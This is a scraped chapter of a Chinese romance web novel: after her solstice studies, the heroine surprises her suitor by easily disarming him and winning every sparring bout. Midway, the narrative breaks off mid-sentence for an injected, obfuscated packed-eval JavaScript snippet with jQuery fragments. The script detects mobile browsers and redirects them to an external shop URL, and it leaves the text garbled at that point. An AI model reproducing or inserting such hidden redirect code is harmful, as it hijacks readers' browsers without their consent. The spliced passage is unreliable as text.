50. 闷头学习

作品:《我当皇帝是为了你们好

    冬至是大节,往年在家时,吴善民会携家中上下隆重祭祖,今年只有姜元序一人,宅子里的祠堂空荡荡的,她一早起来,换上新衣,规规矩矩摆了一桌祭品,芳华早逝的姐姐吴熹月和母亲姜彩兰,都是她恩重如山的家人,即使没有牌位,也得拜上一拜。


    给各府的节礼早就备好,前两日已经全部遣人送去,给李府的节礼多添了一方紫檀镇纸和她自己画的贺冬图,李凡玉给她回了一卷自己写的字帖,想来是真有收徒的意思。


    今越照例放假五日,正好有时间把李凡玉布置的功课做了,学问不可懈怠,她要入仕,即使有人举荐,朝庭破格录取,也必然要经过一番考核,才能堵住悠悠之口。


    姜元序学习一向遵循“一本书过三遍”的法则,第一遍通读,第二遍解义、破题、旁通,第三遍记忆。


    第一遍最快,如今的书很薄,不像后世动不动就几千页的大部头,第二遍最慢,需要逐字解析,好在李凡玉出的题相当有针对性,破题、旁通全部囊括在内,做完这些,最后的记忆就很容易了。


    午间小憩,姜元序偏头对上一双圆溜溜的琥珀眼,还当是在梦中,兀自闭上眼,神思越来越清醒,犹疑地睁眼,小猫脸凑到她眼皮底下拱了供。


    “橘掌?!”


    姜元序咕噜跳起来,难以置信地捧起小猫仔细看,眼睛眯起,嘴角下拉,一脸恶霸相,绝对是姜橘掌没错!


    她到京城的这一路走走停停的,捎上宠物不现实,小猫不好离开长居地,她想着如果橘掌在江州呆的好好的,不到京城也行,或者等她爹来京城的时候带上。


    地上还有一只狸花和一只三花,都是江州家里养的,见她起来,喵一声跳上罗汉床,外头候着的侍女听到动静,打起帘子,进来递给她一封信。


    “老爷让人送来的,还有几只,十安和百凌正带着洗澡,这是老爷的信。谢大人过来了,在堂屋等着。”


    姜元序还以为她爹有事提前到京城了,信里说橘掌老是从茶馆跑回家找她,这段时间开始往外跑,没办法只好先送过来,弟弟吴昌康已经从南边回来,他们按原计划,元旦前到京城,元宵过后回江州。


    姜元序披上大氅往堂屋去,侍女拉开厚重的棉帘,谢青衍未看到人,笑容已经扬起,放下茶盏,起身相迎:“起来了?”


    今日有大朝会,他一早进宫朝贺,宫宴结束就来了这儿,侍女说姜元序在午憩,便等了会儿。


    “看!”姜元序从大氅中掏出小猫,眼睛亮亮的,带着炫耀。


    谢青衍忍俊不禁,摸了摸橘掌的头,笑说:“来的时候正好碰上,还是我给橘掌洗的澡。”


    橘掌窝在姜元序手上不动弹,一点没有以前的娇妻样,姜元序嗤嗤笑起来:“你给洗的澡怎么还不理你,还是在我面前装呢?”


    谢青衍伸手点点她的眉心,“少冤枉我和橘掌,我们关系好着,它只是更喜欢你。”


    送橘掌来的人说,姜元序离开后,橘掌来来回回地找她,谢青衍听后一下子记起当初姜元序不让他去江州时的万念俱灰,抱着橘掌差点哭出来,若姜元序没来京城,他就和橘掌一样,来来回回,再也寻不到她。


    “它当然最喜欢我。”姜元序抱紧橘掌大声宣扬,又问谢青衍,“你来干嘛的?”


    谢青衍指指身后的东西:“宫中赐下一些锦缎,正好给你裁几身衣裳,还有一些摆件,你这里也用得上。”


    姜元序瞧着几大箱东西相当无语,平时三天两头送个首饰也就算了,冬至送副暖耳还要附带一个璎珞项圈,说是搭起来好看,今天更了不得,直接成箱送。


    “照你这个送法,多大的家底也扛不住,我才来一个月,收了多少东西了?”


    谢青衍让云慎打开箱子:“摆件的样式大,才装了几箱子,里头没几样,宫里的东西,就是瞧个稀罕。再说,我家底厚着,送几十年不成问题。”


    缠枝莲纹的景泰蓝葫芦,姜元序一眼相中,有些惊喜道:“陛下可真大方,冬至节礼给这么多。”


    谢青衍就知道她会喜欢,轻描淡写道:“前些日子忙,刑部的赏赐格外厚一些。”


    姜元序不喜欢清雅的素色摆件,目之所及一定要有抓人眼球的色彩,所以他特地去库房挑了一对景泰蓝葫芦,琉璃屏风才是陛下赏的。


    姜元序让人把葫芦摆上去,尺寸有些大,放在堂屋正好,其他的先收起来,又带着谢青衍去书房挑字画作回礼。


    谢青衍不想这么见外,推脱着不要,却在众多字画中看到了姜元序的落款,画里的小人两只手捧着碗,踮着脚探头看前方热气腾腾的汤锅,眼角处有一块熟悉的伤疤。


    “这是你吗?”谢青衍的视线落在画上,有些不敢信。


    姜元序点点头:“几年前画的,冬至分汤圆,笔触有些稚嫩,不及这两年的。”


    谢青衍瞬间忘记刚才的推脱之词,惊喜溢于言表,毫不客气讨要这副画。


    他真心实意道:“你如今才几岁,几年前画成这样,足以称大家了,我现在的画都不及这幅。”


    得益于上辈子耳濡目染,姜元序的画确实颇有造诣。她爸主业画画,副业霸总,兼职奶爸和家庭煮夫,画画的不怎么样,但挡不住一颗追求梦想的心,一画几十年。姜元序却是有些天赋的,七八岁的时候已经超过她爸,她其实更喜欢色彩浓烈的油画,但如今只能随大流。


    她找出去年画的《日照金山图》一道送给谢青衍,谢青衍转头又看上一幅姜元序写的字,一并讨要,让云慎把字画送回去,自己却赖着不愿意走,姜元序要做功课,也不管他,让他自己找书看。


    谢青衍靠在外间的矮塌,怀里抱着橘掌,翻看姜元序写的随笔,时不时抬头看一眼里间。他无法抑制地想到,几年后,他和姜元序应该已经成亲,在每个休息的日子,都会有这样安逸的午后,那时,他可以毫无顾忌地去拥抱她、亲吻她,向她倾诉所有的爱意。


    闷头学习的时间过得很快,姜元序从书本中抽神,头昏脑涨地靠在圈椅里醒神,大黄狗拿头撞了撞她的膝盖,三花猫跳到她腿上窝着,时隔几月,姜元序又过上了猫狗双全的生活。


    谢青衍已经离开,桌上留着字条,说他找了武师傅练剑,晚点再过来。橘掌恢复江州一霸的高冷,揣着手伏在榻上,姜元序揉揉它的耳朵,只得到一个不善的眼神。


    ……


    谢家演武场,谢青衍的余光注意到熟悉的人影,凌厉的剑势陡然柔和下来,素白的衣袂随风轻扬,红艳的剑穗肆意翻飞,一招一式带着翩然的美感。


    一旁的武师嘴角颤动,默默后退两步,朝云慎投去一个意味深长的眼神,云慎微不可查地点了点头,云齐难言地撇开头,去招呼姜元序。


    最后一式凌空回剑,谢青衍稳稳收势,姜元序默不作声地看他耍帅,待人行至跟前,才故作疑惑地问:“不是说练剑吗,怎么跳起舞来了?”


    谢青衍握剑的手抖了抖,僵立在原地。


    姜元序仿佛什么都没看到,缓缓勾起嘴角,浮夸地拍拍手,点头肯定道:“跳的还挺好看,不愧是侍郎大人,真是多才多艺啊。”


    云慎没忍住,噗地一声笑出来,武师兴致盎然地挑眉,十安抬手掩住笑意,百凌抱胸大大方方地嗤笑。


    云齐头疼抓了抓眉心,就知道会这样,公子怕是失了智,姜姑娘一个见过战场的人,搞这一套不是徒惹笑话吗?


    谢青衍反应过来,为自己的蠢笨行径汗颜,咬唇敛住羞意,闷声道:“你明知道我是故意的,还这般打趣我。”


    姜元序恍若未觉,自顾自说道:“这般好看,侍郎大人教教我如何练剑呗。”


    谢青衍认真观察了一下她的神色,好似并没有作假,顾不得丢脸,去武器架上挑了一把轻盈的剑,兴致勃勃地教她拔剑、握剑、劈砍——


    “哐当——”


    谢青衍的剑掉落在地。


    姜元序疑惑地收剑:“是我碰掉的吗?”


    谢青衍摇摇头,轻松道:“是我没注意,手滑了一下。”


    他捡起剑继续教姜元序侧身刺撩。


    “哐当——”


    剑再次掉落在地。


    姜元序皱眉,迟疑道:“要不让武师傅教我吧。”


    谢青衍觉得自己被轻视了,捞起剑挽了个剑花,自信昂扬。


    “哐当——”


    长剑再次滑落,谢青衍握拳又张开,觉得有些不太对,疑惑的视线投向姜元序。


    姜元序先发制人:“你是不是不太行?”


    谢青衍转了转手腕,深吸一口气,牢牢握住剑柄。


    云慎难以置信地用胳膊捣捣武师,不是他想的那样吧?武师摸着下巴,一脸严肃,他没看清,但肯定不会是意外。


    “哐当——”


    姜元序长叹一口气,瞥一眼地上的剑,似是有些不忍,轻轻睨了谢青衍一眼,默不作声地转过身。


    谢青衍盯着她的后脑勺,扯了扯嘴角,重新拾起剑,全神贯注地应付下一次招式。


    “哐当——”


    “哐当——”


    “哐当——”


    谢青衍蹲在地上,双目失神,没有落败的苦闷,全是对自己的怀疑。


    姜元序无声地笑了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291242|197420||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一下,踢踢他的腿,“哎,还教不教?”


    谢青衍愣愣地抬头,声音沙哑:“你怎么做到的?”


    怎么做到一副初学者的样,完全没有成形的剑招,却能次次轻而易举挑落他的剑。


    姜元序抬手掩住勾起的嘴角,视线落在地面,含蓄道:“天赋异禀吧。”


    谢青衍扯住她的裙摆,目光殷切,姜元序忍俊不禁,状似不经意地松松手腕,随手往外一抛——


    “铮——”长剑钉入武器架。


    云慎疾跑过去,用手比划着剑尖入木的程度,眼神发直,武师用了点力气拔出剑,他早听说公子喜欢的姑娘不一般,没想到这么不一般!


    谢青衍捂住脸彻底陷入自闭。


    姜元序乐不可支,又踢了踢他的腿:“别装死,起来陪你过两招。”


    谢青衍不想动,他现在脑海一片空白,仿若在梦中。


    姜元序没多少耐心,抬脚就踹,冷哼道:“别让我说第三次。”


    谢青衍踉跄倒地,手掌触及冷硬的青石地面,总算找回几分神智,闭眼做几个深呼吸,打起精神,一跃而起。


    他见姜元序解下狐裘,里头是袄裙、皮靴,有些迟疑:“你这身衣服,能行?”


    姜元序扬了扬拳头,挑眉笑道:“对付你,一只手就够。”


    谢青衍呼吸一窒,退开几步握拳起势,视线触及眼前的人,又犹豫起来,对姜元序拳脚相向,他过不了心里这一关。


    姜元序不耐烦地翻个白眼,一记直拳,如雷霆般迅猛,谢青衍来不及反应,硬生生挨了当胸一拳,蹒跚后退。


    姜元序缓步逼近,声音冰冷:“你连躲都不会吗?”


    谢青衍拍拍胸口的褶皱,抛开一切杂念,将注意力转至比武,蓄力出拳,姜元序头都没偏,抬手格挡,锁住手臂,后撤半步,压低重心,谢青衍仰面倒地,毫无反手之力。


    姜元序居高临下,轻笑道:“再给你一次机会,看准了打。”


    谢青衍无语至极,反倒扯开一个稍显夸张的笑,甩了甩扭曲发麻的手臂,沉下心神,出拳、切掌、抬肘,变幻迅速,风声猎猎,姜元序游刃有余地躲闪两下,扣其手腕,反剪其臂,横肘压制,谢青衍挣脱不得,再次落败。


    姜元序一脚踢向他的腿弯,戏谑道:“别光用手,用上腿,再让你三招。”


    谢青衍单膝跪地,垂头咬牙,姜元序只用一只手,他两次都没挨过三招,这不是差距,是天堑。他撑地起身,活动一下脚踝,提膝飞踹。


    姜元序满意地点点头,这才像点样子,说好让三招,她并不着急出手,谢青衍全力以赴,没能碰到她的一片衣角,侧闪躲开凌空一脚,跨步前移,顶心肘击,谢青衍霎时飞出数步之远。


    云齐云慎和武师,三人相当一致地抱头蹲在场边,眼睛盯着场上,一眨不敢眨,嘴巴微张,神情呆滞,即使看到谢青衍重重砸到地面,也提不起力气上前搀扶。


    百凌好事地蹲到他们边上,哀叹道:“你们公子真的不太行啊!姑娘都没用上腿,也就只有三分力。”


    云齐用力合拢嘴,喃喃自语:“只有三分吗?”


    云慎偏头问武师:“以姜姑娘的身手,公子需要练多久?”


    武师脑海中反复闪过姜元序迅捷的招式,保守地估计:“十年?”


    三人面面相觑,丧气地吐出一口浊气,相继垂头,怀疑人生。


    谢青衍四肢摊开,仰面躺在地上,胸口很疼,脑子很乱,日光逐渐褪去,天空像他的前途一样,雾蒙蒙的,发灰发暗。


    姜元序蹲下身,手指戳了戳他的胸口,谢青衍闷哼一声,疼到微微颤抖,却突然伸出双手,抓住姜元序不怀好意的手指,缓缓上探,抚过关节和掌心,心道果然。


    “你手上的疤,是为了遮住常年练拳的手。”谢青衍肯定道。


    姜元序微微挑眉,笑意盈盈道:“答对啦,不过没有奖励。”


    谢青衍抓着她的手不肯放开,仰天长叹:“这真的对吗!”


    姜元序失笑不已,拍拍他的肩膀,扣住他的手,谢青衍借力起身,捧过姜元序的手,轻抚掌心的厚茧,心里涌起难言的涩意,才学可以归结于天资聪颖,可武力,只能靠日复一日的锻打,她这十几年,过得该有多辛苦。


    “三脚猫的功夫,还敢偷懒。”姜元序打断他的发散的思绪,挣开手,“我走了,你继续练!”


    谢青衍目送她离开,转头吩咐其他人:“姜姑娘会武一事,不准往外透露一个字。”


    众人俯身应是。


    谢青衍握紧手中长剑,眼神是前所未有的坚定。